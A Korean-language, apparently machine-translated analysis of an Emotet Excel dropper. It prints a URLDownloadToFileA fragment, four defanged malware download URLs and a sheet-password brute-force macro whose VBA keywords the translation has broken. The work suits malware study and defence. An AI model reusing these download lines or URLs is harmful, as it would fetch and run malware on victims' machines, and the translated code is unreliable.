Ilan Duhin 및 Yossi Poberezsky( @pober58 ) 작성

요약:

지난 몇 달 동안 유럽에서는 특히 "Emotet"이라고 부르는 맬웨어에 대한 광범위한 캠페인이 있었습니다. 악성코드는 엑셀 파일로 도착해 다수의 URL과 통신을 시도하고 결국 4개의 DLL 파일을 기기에 다운로드한다.

Emotet은 CreateDirectoryA의 API 호출을 사용하여 파일이 컴퓨터에 로컬로 저장되고 여기에서 Regsvr32.exe를 통해 실행되는 폴더를 만듭니다.

정적 분석:

OLE 도구:

파일 구조를 확인 중입니다.

엑셀 6장 안에 있는 단서를 얻습니다.

malwoverview.py를 사용하여 파일의 기능을 확인하고 몇 가지 단서를 얻습니다.

세 번째 스트림으로 들어가 문자열을 추출하십시오.

4개의 의심스러운 URL을 찾으십시오.

파일에 매크로가 포함되어 있습니다. 또한 전체 코드를 포함하는 모든 셀을 찾습니다.

동적 분석:

먼저 Excel(Office 2021의 일부)을 열려고 했습니다.

"콘텐츠 활성화" 팝업. 약간의 조사를 한 후 메시지는 2007-2013 버전의 Office에만 표시됩니다. 그 후 Microsoft는 매크로 실행을 자동으로 활성화하는 옵션을 차단합니다.

매크로를 활성화하려면 아래 그림과 같이 옵션을 변경해야 합니다.

** Office 2007/2013에서는 "Enable Content"를 클릭하여 실행됩니다.

엑셀 파일로 저장하고 다시 입력해야 합니다.

그리고 지금…

버튼을 누르면 네 개의 메시지가 나타납니다.

regsvr32.exe를 클릭하면 해당 매크로를 사용하여 맬웨어를 실행하는 것을 볼 수 있습니다. DLL을 저장할 폴더를 생성하기 때문에 드로퍼처럼 작동합니다.

Excel을 열고 정적 조사를 따라가면 피해자에게서 숨어 있던 6개의 시트를 볼 수 있습니다.

각 시트에는 비밀번호가 필요합니다.

암호를 추출하기 위해 "VBA용 암호 차단기"를 사용합니다.

원천:https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

하위 PasswordBreaker()

'워크시트 암호 보호를 중단합니다.

Dim i를 정수로, j를 정수로, k를 정수로

Dim l을 정수로, m을 정수로, n을 정수로

Dim i1 As Integer, i2 As Integer, i3 As Integer

Dim i4 As Integer, i5 As Integer, i6 As Integer

오류 발생 시 다음 재개

i=65~66인 경우: j=65~66인 경우: k=65~66인 경우

l=65~66의 경우: m=65~66의 경우: i1=65~66의 경우

i2=65~66의 경우: i3=65~66의 경우: i4=65~66의 경우

i5=65~66인 경우: i6=65~66인 경우: n=32인 경우~126

ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _

Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

ActiveSheet.ProtectContents = False인 경우

MsgBox "사용 가능한 암호는 " & Chr(i) & Chr(j) & _

Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

하위 종료

종료 조건

다음: 다음: 다음: 다음: 다음: 다음

다음: 다음: 다음: 다음: 다음: 다음

엔드 서브

VBA 코드를 삽입하려면 ALT+F11을 눌러 붙여넣고 실행해야 합니다.

모든 시트 안에 암호 분리기를 붙여넣으십시오.

Excel은 요청된 시트의 비밀번호를 자동으로 보여줍니다.

마우스 오른쪽 버튼을 클릭하여 시트가 "보호됨"인지 확인할 수 있습니다.

시트 1 데이터:

시트 2 데이터:

문자열을 재구성하면 4개의 URL이 표시됩니다.

- URLDownloadToFileA”, “JCCB”, 0, “https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

시트 3 데이터:

시트 4 데이터:

앞서 본 또 다른 두 개의 URL입니다.

시트 5 데이터:

시트 6 데이터:

문자열을 요약하는 방법에 대한 지침을 포함합니다.

DLL 분석:

내보내기 기능 번호 18.

DLL을 실행한 후 메모리 탭에서 몇 가지 흥미로운 문자열을 발견했습니다.

또한 실행 시 다음 경로로 자신을 드롭합니다.

VT에서 DLL의 메모리 문자열을 분석할 때 Emotet에 대한 설명을 얻었습니다.

결론:

· 매크로는 Emotet 맬웨어를 다운로드하고 실행하기 위해 도달합니다.

· 웹 URL에 도달하기 위해 매크로를 사용하는 Excel 파일.

· regsvr32.exe를 통해 Emotet이 실행 중입니다.

· Emotet 드롭퍼는 ​​%UserProfile%\Appdata\Local 아래 임의로 생성된 폴더에 dll 파일로 다운로드됩니다.